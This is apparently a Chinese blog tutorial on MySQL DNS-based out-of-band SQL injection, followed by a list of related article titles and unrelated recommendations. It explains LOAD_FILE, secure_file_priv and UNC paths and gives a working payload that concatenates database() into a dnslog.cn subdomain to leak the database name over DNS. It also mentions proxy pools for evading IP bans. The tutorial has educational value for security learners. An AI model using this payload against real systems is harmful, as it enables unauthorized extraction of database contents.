MySql注入—DNS注入

1、DNS注入原理


一、DNS注入原理

  DNS注入,是通过查询相应DNS解析产生的记录日志来获取想要的数据

  对于sql盲注这样的方法常常用到二分法,非常麻烦而且没有回显,要耗费大量的时间精力,

  或许,salmap工具可以呢,其实在实测中,因为工具的高访问频率,很有可能会导致网站把我们的ip给封掉,除非挂代理池 

  先来个 知识扫盲:

  1、MySQL 有个属性 secure_file_priv   它有三种状态

  secure_file_priv= ,没有任何限制

  当secure_file_priv=指定文件夹,只能导出或写入指定文件夹

  secure_file_priv=NULL,不允许导入导出

  在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

  Windows下:

  修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

  Linux下:

  在/etc/my.cnf的[mysqld]下面添加local-infile=0选项

  2、MySQL读取文件的函数:LOAD_FILE()

  读取文件并返回文件的内容,内容为字符串

  使用此函数满足的必要条件:

  1)文件必须位于服务器主机上

  2)必须指定文件的完整路径

  3)有file权限 

  4)该文件所有字节可读

  以上任一条件不满足,则返回NULL

  PS:LOAD_FILE默认是关闭的,要开启需在MySQL的配置文件my.ini里添加一句:secure_file_priv=   才能开启此服务,,一些网站开发者为了方便查找主机的资料就把这个开启了

  3、concat() 函数

  拼接字符串,用传入要拼接的各个字符串用逗号隔开

  concat('abc','de','fg')  >>>  abcdefg

  4、UNC路径

  我也不知道如何讲,也查找了网上的说法,没看到讲的比较明白的,大概都是 以下的说法,,后面我想想怎么写在加进来,先复制他们的吧

  什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径

  格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称

  写的时候把反斜杠改成正斜杠,因为反斜杠有个转义的作用

  OK,,

  select load_file(concat('//','注入语句','DNS域名'))

  这里的DNS域名小白可能不懂,后期我会在添加补充的,今天先写写,不在状态,如果看着不懂或太累 ,可以私信我,我给做详细 解答

  DNS域名获取去一个网站 dnslog.cn

  获取域名(Get SubDomain),查看日志(Refresh Record),这个网站都可以完成

  比如我们获取了一个域名:p.dnslog.cn

  注入语句可以这么写

  load_file(concat('//',(database()),'.p.dnslog.cn/abc'))

  这是一个获取当前数据库的语句,那么获取内容在哪显示呢,就是获取域名的网站,点击查看日志(Refresh Record),,你会在.p.dnslog.cn前看到数据库,

  返回的值就是 >>>  当前数据库.p.dnslog.cn

  我们是不是可以用其他 注入语句呢,,of course

  

  这是半个博客,抱歉

  

MySql注入—DNS注入的更多相关文章

  1. SQL注入-DNS注入(二)

    其实就是盲注的简化版本,不过这种方式确实简单,不需要写py脚本一点点去跑 参考文章: https://www.jianshu.com/p/c805209244c2                  这 ...

  2. SQL注入-DNS注入(一)

    这篇文章相对来说比较入门,参考的文章是:https://www.jianshu.com/p/c805209244c2 0x00前言 前段时间在做盲注 分别是基于时间和基于布尔型的 说真的 这两种盲注真 ...

  3. mysql 带外注入

    带外通道 有时候注入发现并没有回显,也不能利用时间盲注,那么就可以利用带外通道,也就是利用其他协议或者渠道,如http请求.DNS解析.SMB服务等将数据带出. payload SELECT LOAD ...

  4. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  5. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  6. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  7. MySQL暴错注入方法

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法 1.通过fl ...

  8. MySQL防范SQL注入风险

    MySQL防范SQL注入风险 0.导读 在MySQL里,如何识别并且避免发生SQL注入风险 1.关于SQL注入 互联网很危险,信息及数据安全很重要,SQL注入是最常见的入侵手段之一,其技术门槛低.成本 ...

  9. ref:学习笔记 UpdateXml() MYSQL显错注入

    ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...

  10. 第二百八十一节,MySQL数据库-SQL注入和pymysql模块防止SQL注入

    MySQL数据库-SQL注入和pymysql模块防止SQL注入 SQL注入就是通过SQL语句绕开程序判断,获取到数据库的内容 下面以一个简单的程序登录SQL注入举例: 正常登录 1.数据库有一张会员表 ...

随机推荐

  1. go语言中 字符串 多行字符串 转义

  2. MySQL的执行流程和执行顺序

    MySQL执行过程以及顺序 前言:MySQL在我们的开发中基本每天都要面对的,作为开发中的数据的来源,MySQL承担者存储数据和读写数据的职责.因为学习和了解MySQL是至关重要的,那么当我们在客户端 ...

  3. 【Unity3D】绘制物体外框线条盒子

    1 需求描述 ​ 点选物体.框选物体.绘制外边框 中介绍了物体投影到屏幕上的二维外框绘制方法,本文将介绍物体外框线条盒子绘制方法. 内框:选中物体后,绘制物体的内框(紧贴物体.并与物体姿态一致的内框盒 ...

  4. 【Android】使用Binder实现进程间传递对象案例

    1 前言 使用AIDL实现进程间通讯简单案例 和 使用AIDL实现进程间传递对象案例 中介绍了使用 AIDL 进行进程间通讯,其本质仍然是Binder,aidl 文件对应生成的接口中,将服务端调用的抽 ...

  5. gitlab+jenkins+docker持续集成环境搭建实战

    介绍 什么是持续集成? 持续集成(CI)是在源代码变更后自动检测.拉取.构建和(在大多数情况下)进行单元测试的过程.持续集成是启动管道的环节(尽管某些预验证 -- 通常称为 上线前检查(pre-fli ...

  6. Centos7安装php7.4

    添加 EPEL and REMI 仓库 yum -y install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarc ...

  7. 解决主机ssh虚拟机linux慢的问题

    1.编辑sshd配置文件: vi /etc/ssh/sshd_config 找到行:#UseDNS yes 将注释去掉,把yes改为no 2.重启sshd服务: service sshd restar ...

  8. Clock题解

    Clock 题意:给一些时间,24小时制,给一个初始出发时间,问在钟表上最少转多少度能把所有给的时间都经历一遍. 思路:分四种情况模拟. 注意: 求的是度数,所以最后要乘6转换. 3:00,转到15: ...

  9. Docker实践之09-高级网络配置

    目录 一.Docker网络原理及默认配置 二.Docker网络定制配置参数 三.容器访问控制原理 1.容器访问外部网络 2.容器之间访问 3.访问所有端口 4.访问指定端口 5.映射容器端口到主机端口 ...

  10. 深入解析Python并发编程的多线程和异步编程

    本文分享自华为云社区<Python并发编程探秘:多线程与异步编程的深入解析>,作者:柠檬味拥抱. 在Python编程中,多线程是一种常用的并发编程方式,它可以有效地提高程序的执行效率,特别 ...